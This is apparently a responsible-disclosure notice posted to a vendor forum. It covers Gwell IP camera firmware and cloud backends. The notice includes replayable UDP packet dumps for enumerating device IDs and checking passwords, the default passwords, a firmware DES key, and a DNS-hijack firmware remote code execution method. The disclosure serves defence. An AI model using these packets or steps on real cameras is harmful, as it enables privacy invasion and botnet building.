found various vulnerabilities in Gwell npc firmwares and cloud services

[Admin]

my name is Balthasar and I am a Security Researcher at Security Research Labs.
We found various vulnerabilities in Gwell npc firmwares and cloud services videoipcamera.cn and cloudlinks.cn that we would like to disclose.

Please find the disclosure notes attached to this mail as a .txt file. If there are any questions, please do not hesitate to contact us.

As we tried contacting you several times for responsible disclosure without success, our research now has been made public. We are sending this email to you as another attempt to explain the issues we found. Please forward it to a technical contact in your company.

Please find the information that was made public here:
https://srlabs.de/bites/cloud-cameras/

Best regards
Balthasar Martin

=========================================
====== Responsible disclosure notice:
====== IP camera and cloud backend vulnerabilities
=========================================

====== Issues and risks
=== #1 Device ID enumeration

= Affects: All devices using *.cloud-links.net, *.cloudlinks.cn, *.videoipcamera.com, *.videoipcamera.cn as backend and therefore probably all Yoosee, Unifore, Sricam and various other devices.

= Description: With a single UDP packet to the backend, it is possible to query the status (online/offline) of at least 62 device IDs. It is not necessary to register the device in an own account and there is no rate limiting in place. Device IDs are 6 digits for videoipcamera and 7 digitis for cloudlinks (1.000.000 and 10.000.000 possibilities). On one machine, it takes one hour to try all possible device IDs and collect over 3,277,280 valid and online ones on both backends combined.

= Risk: When discovering an exploit or authentication bypass, attackers can easily get a exhaustive list of all exploitable devices. With in depth authentication or IP-based systems this would normally require extensive scanning.

= Details: Below you find an example packet, that requests the online status of the device with IDs from 0x09596d (612717) to 0x0959aa (612778).
Please note, that device IDs are included in the reverse byte order (i.e. 6d 59 09 00 instead of 00 09 59 6d)

UDP packet to 92.42.106.94:51832
0000 28 00 04 00 00 00 00 00 89 af 20 a7 a4 7d 19 de (......... ..}..
0010 95 64 cb ba 3e 00 00 00 0e 00 00 00 00 00 00 00 .d..>...........
0020 0f 00 00 00 00 00 00 00 6d 59 09 00 6e 59 09 00 ........mY..nY..
0030 6f 59 09 00 70 59 09 00 71 59 09 00 72 59 09 00 oY..pY..qY..rY..
0040 73 59 09 00 74 59 09 00 75 59 09 00 76 59 09 00 sY..tY..uY..vY..
0050 77 59 09 00 78 59 09 00 79 59 09 00 7a 59 09 00 wY..xY..yY..zY..
0060 7b 59 09 00 7c 59 09 00 7d 59 09 00 7e 59 09 00 Y..~Y..
0070 7f 59 09 00 80 59 09 00 81 59 09 00 82 59 09 00 .Y...Y...Y...Y..
0080 83 59 09 00 84 59 09 00 85 59 09 00 86 59 09 00 .Y...Y...Y...Y..
0090 87 59 09 00 88 59 09 00 89 59 09 00 8a 59 09 00 .Y...Y...Y...Y..
00a0 8b 59 09 00 8c 59 09 00 8d 59 09 00 8e 59 09 00 .Y...Y...Y...Y..
00b0 8f 59 09 00 90 59 09 00 91 59 09 00 92 59 09 00 .Y...Y...Y...Y..
00c0 93 59 09 00 94 59 09 00 95 59 09 00 96 59 09 00 .Y...Y...Y...Y..
00d0 97 59 09 00 98 59 09 00 99 59 09 00 9a 59 09 00 .Y...Y...Y...Y..
00e0 9b 59 09 00 9c 59 09 00 9d 59 09 00 9e 59 09 00 .Y...Y...Y...Y..
00f0 9f 59 09 00 a0 59 09 00 a1 59 09 00 a2 59 09 00 .Y...Y...Y...Y..
0100 a3 59 09 00 a4 59 09 00 a5 59 09 00 a6 59 09 00 .Y...Y...Y...Y..
0110 a7 59 09 00 a8 59 09 00 a9 59 09 00 aa 59 09 00 .Y...Y...Y...Y..

Response
0000 29 00 00 00 3e 00 00 00 0e 00 00 00 00 00 00 00 )...>...........
0010 0f 00 00 00 00 00 00 00 6d 59 09 00 00 00 00 00 ........mY......
0020 01 00 00 00 00 00 00 07 6e 59 09 00 00 00 00 00 ........nY......
0030 00 00 00 00 00 00 00 07 6f 59 09 00 00 00 00 00 ........oY......
0040 01 00 00 00 00 00 00 07 70 59 09 00 00 00 00 00 ........pY......
0050 01 00 00 00 00 00 00 07 71 59 09 00 00 00 00 00 ........qY......
0060 00 00 00 00 00 00 00 00 72 59 09 00 00 00 00 00 ........rY......
0070 00 00 00 00 00 00 00 00 73 59 09 00 00 00 00 00 ........sY......
0080 00 00 00 00 00 00 00 00 74 59 09 00 00 00 00 00 ........tY......
0090 00 00 00 00 00 00 00 00 75 59 09 00 00 00 00 00 ........uY......
00a0 00 00 00 00 00 00 00 07 76 59 09 00 00 00 00 00 ........vY......
00b0 00 00 00 00 00 00 00 00 77 59 09 00 00 00 00 00 ........wY......
00c0 00 00 00 00 00 00 00 07 78 59 09 00 00 00 00 00 ........xY......
00d0 01 00 00 00 00 00 00 07 79 59 09 00 00 00 00 00 ........yY......
00e0 00 00 00 00 00 00 00 00 7a 59 09 00 00 00 00 00 ........zY......
00f0 00 00 00 00 00 00 00 07 7b 59 09 00 00 00 00 00 ........{Y......
0100 01 00 00 00 00 00 00 07 7c 59 09 00 00 00 00 00 ........|Y......
0110 01 00 00 00 00 00 00 07 7d 59 09 00 00 00 00 00 ........}Y......
0120 00 00 00 00 00 00 00 07 7e 59 09 00 00 00 00 00 ........~Y......
0130 01 00 00 00 00 00 00 07 7f 59 09 00 00 00 00 00 .........Y......
0140 01 00 00 00 00 00 00 07 80 59 09 00 00 00 00 00 .........Y......
[...]
03c0 00 00 00 00 00 00 00 00 a8 59 09 00 00 00 00 00 .........Y......
03d0 00 00 00 00 00 00 00 07 a9 59 09 00 00 00 00 00 .........Y......
03e0 00 00 00 00 00 00 00 00 aa 59 09 00 00 00 00 00 .........Y......
03f0 00 00 00 00 00 00 00 00
=== #2 Password enumeration

= Affects: All devices using *.cloud-links.net, *.cloudlinks.cn, *.videoipcamera.com, *.videoipcamera.cn as backend and therefore probably all Yoosee, Unifore, Sricam and various other devices.

= Description: With one UDP packet to the backend, it is possible to check whether a device has a specific password. It is not necessary to register the device in an own account and there is no rate limiting in place. It is possible to try a password on all of the over 3.000.000 valid device IDs. For cloudlinks, the packet cannot be simply replayed, but has to be send by instrumenting the YooSee app. Account-based rate limiting and a captcha are employed for cloud links, but by instrumenting the App, Captchas can be removed and registering and logging into a new account can be automated for efficient password enumeration.

= Risk: Device passwords can be brute forced efficiently. An attacker can easily collect valid credentials by enumerating all valid device IDs with commonly used passwords. He can then invade the users privacy oder try to exploit the devices for botnet creation.

= Details: To check a specific password, an attacker first has to set an own device to said password. When accessing the settings of his own device, a packet similar like the following one is send:

UDP packet to 47.91.79.186:8000
0000 10 03 60 24 8d a1 06 80 81 3b 0a 00 46 09 34 d6 ..`$T....;..F.4.
0010 01 66 d4 8c 30 7f 06 e8 60 01 00 00 f9 4a 00 00 .f..0...`....J..
0020 0c 00 00 00 24 e5 d0 e5 cd 78 d5 42 00 00 00 00 ....$....x.B....

In this case, the device ID is 0x000a3b81 (670593) and represented in the packet by 81 3b 0a 00. To check the same password for another device, an attacker resends the same packet with another device ID. As the answer looks different when the password is wrong, he can use the packet to check the specified password for arbitrary device IDs.

 

[Admin]

=== #2 Password enumeration

= Affects: All devices using *.cloud-links.net, *.cloudlinks.cn, *.videoipcamera.com, *.videoipcamera.cn as backend and therefore probably all Yoosee, Unifore, Sricam and various other devices.

= Description: With one UDP packet to the backend, it is possible to check whether a device has a specific password. It is not necessary to register the device in an own account and there is no rate limiting in place. It is possible to try a password on all of the over 3.000.000 valid device IDs. For cloudlinks, the packet cannot be simply replayed, but has to be send by instrumenting the YooSee app. Account-based rate limiting and a captcha are employed for cloud links, but by instrumenting the App, Captchas can be removed and registering and logging into a new account can be automated for efficient password enumeration.

= Risk: Device passwords can be brute forced efficiently. An attacker can easily collect valid credentials by enumerating all valid device IDs with commonly used passwords. He can then invade the users privacy oder try to exploit the devices for botnet creation.

= Details: To check a specific password, an attacker first has to set an own device to said password. When accessing the settings of his own device, a packet similar like the following one is send:

UDP packet to 47.91.79.186:8000
0000 10 03 60 24 8d a1 06 80 81 3b 0a 00 46 09 34 d6 ..`$T....;..F.4.
0010 01 66 d4 8c 30 7f 06 e8 60 01 00 00 f9 4a 00 00 .f..0...`....J..
0020 0c 00 00 00 24 e5 d0 e5 cd 78 d5 42 00 00 00 00 ....$....x.B....

In this case, the device ID is 0x000a3b81 (670593) and represented in the packet by 81 3b 0a 00. To check the same password for another device, an attacker resends the same packet with another device ID. As the answer looks different when the password is wrong, he can use the packet to check the specified password for arbitrary device IDs.
Example response when the password is wrong (device ID 0x000a3c00):
0000 10 07 61 00 00 3c 0a 00 8d a1 06 80 4f 12 b9 ed ..a..<..T...O...
0010 08 00 00 00 00 00 00 00 61 01 00 00 f8 4a 00 00 ........a....J..
0020 00 00 00 00 01 00 00 00 ........

Example response when the password is correct (device ID 0x000a3b81):
0000 10 07 60 06 81 3b 0a 00 8d a1 06 80 5f f9 7a 6a ..`..;..T..._.zj
0010 db ab 00 00 00 00 00 00 60 00 00 00 6c 45 8b 6b ........`...lE.k
0020 fc 00 00 00 02 01 1f 00 00 00 00 00 00 00 00 00 ................
0030 01 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 ................
0040 03 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 ................
0050 05 00 00 00 00 00 18 00 06 00 00 00 00 00 00 00 ................
0060 07 00 00 00 00 00 00 00 08 00 00 00 01 00 00 00 ................
0070 09 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................
0080 0b 00 00 00 02 00 00 00 0c 00 00 00 01 00 00 00 ................
0090 0d 00 00 00 01 00 00 00 0e 00 00 00 07 00 00 00 ................
00a0 14 00 00 00 0b 00 00 00 15 00 00 00 00 00 00 00 ................
00b0 16 00 00 00 00 00 00 00 17 00 00 00 00 00 00 00 ................
00c0 18 00 00 00 00 00 00 00 1b 00 00 00 02 00 00 00 ................
00d0 1e 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 ........ .......
00e0 21 00 00 00 00 00 00 00 24 00 00 00 01 00 00 00 !.......$.......
00f0 25 00 00 00 00 00 00 00 26 00 00 00 03 00 00 00 %.......&.......
0100 27 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 '.......(.......
0110 29 00 00 00 07 00 02 00 2a 00 00 00 00 00 00 00 ).......*.......

Note: We found that it may be necessary to send the same packet two times to get an answer by the backend.

 

[Admin]

=== #3 Default password change can be skipped

= Affects: All devices using *.cloud-links.net, *.cloudlinks.cn, *.videoipcamera.com, *.videoipcamera.cn as backend and therefore probably all Yoosee, Unifore, Sricam and various other devices.

= Description: Devices are shipped with 888888 or 123 as default password. When adding a device with default password in the different Apps, the user is sometimtes prompted to change the password, but can also use the "skip" button.

= Risk: Many users skip changing the password and therefore are - especially in combination with #1 and #2 - vulnerable to enumeration attacks.

= Details: Roughly 60,000 out of all 140,000 online devices are accessible with the default password on videoipcamera. On Cloudlinks, roughly 700,000 of the over 3,000,000 million device are accessible with password 123. To illustrate the impact of #1, #2 and #3, we prepared a demonstration video that shows the automated collection of valid credentials on videoipcamera. The same is possible for Cloudlinks with password 123 by using the app instrumentation techniques mentioned above:
https://drive.google.com/file/d/0B9zCI_xjof9-ZGFCbmVUcnA5SVU/view?usp=sharing
=== #4 Firmware authenticity not properly verified

= Affects: Devices with npcupg firmware. At least version 14.00.00.*, but probably also other version including all Sricam devices

= Description: The firmware is neither properly signed, nor encrypted. An attacker can therefore create a malicious firmware file that passes all checks on installation, can execute arbitrary commands and is also persistent over reboot.

= Risk: This enables remote code execution on devices for which the credentials (device ID and password) are known.

= Details: The validity of a firmware is checked by providing a MD5 sum of the firmware body that is DES encrypted. The DES key in use is 9CAE6A5AE1FCB088. After extracting the JFFS2 file system in the firmware starting at byte 32, an attacker can modify and repack it. He then needs to change the verification value in the header accordingly to create a malicious firmware that passes the checks.

On all devices with network settings, this leads to remote code execution:
To deliver this firmware to a device he is authenticated with, he changes the DNS server in the network settings of the device to a server under his control. He then initiates a device update. The device sends a DNS request for upg.videoipcamera.cn or upg.cloudlinks.cn and the attacker answers that DNS request with the IP of his own server. The camera then request the current firmware version from the attackers server. By answering with a higher version than the current one, the attacker brings the device to query and install said firmware file from his own server.

This is all automatable by scripting and could therefore be used for botnet creation. The procedure is visualized in the attached picture firmware_update.png and demonstrated in the following video:
https://drive.google.com/file/d/0B9zCI_xjof9-cnFVLU9xUDJ5MVU/view?usp=sharing

On the left half of the video, you see the output of the script that sends commands to the camera and the right half on the bottom shows the output of the DNS and HTTP server the attacker needs to provide.

If you are interested in an example malicious firmware, please contact us.

=== Aggregate risk

The large scale collection of valid device credentials (over 750,000) in combination with remote code execution that can be automated presents a high abuse potential, as it presents a efficient option to build a botnet. Additionally, the privacy of all users who did not change their password or chose a weak one could be compromised.

 

[Admin]

=== Proposed Mitigations

For the most important problems we would like to suggest possible mitigations. Especially the first point is hopefully easy to implement and should prevent collecting credentials in such a massive scale:

1. Deliver an app update that forces users to change the device password without being able to skip when they access a camera with password 888888 or 123. Make sure this applies when accessing a device already registered with the users account and not only when registering a new one.
2. Check all UDP info and control requests that go from the app to the device when they go through the backend. If the account ID has not registered the device ID in its device list, the packet should be discarded. This limits device ID and password enumeration to the "add device" HTTP request (POST http://videoipcamera.com/Users/AddFriend.ashx) and makes enumeration less efficient. Introduce such a HTTP request as the only option for checking credentials for Cloudlinks.
3. Introduce a CAPTCHA to the "add device" HTTP request that is checked server side, so it cannot be automated effectively. IP-based rate limiting may also be an option, but will not entirely solve the problem of distributed brute forcing like botnets would do it.

If you are interested in further recommendations, please do not hesitate to ask. We would be happy to provide them.

=== Discloser contact

Security Research Labs, Berlin
Balthasar Martin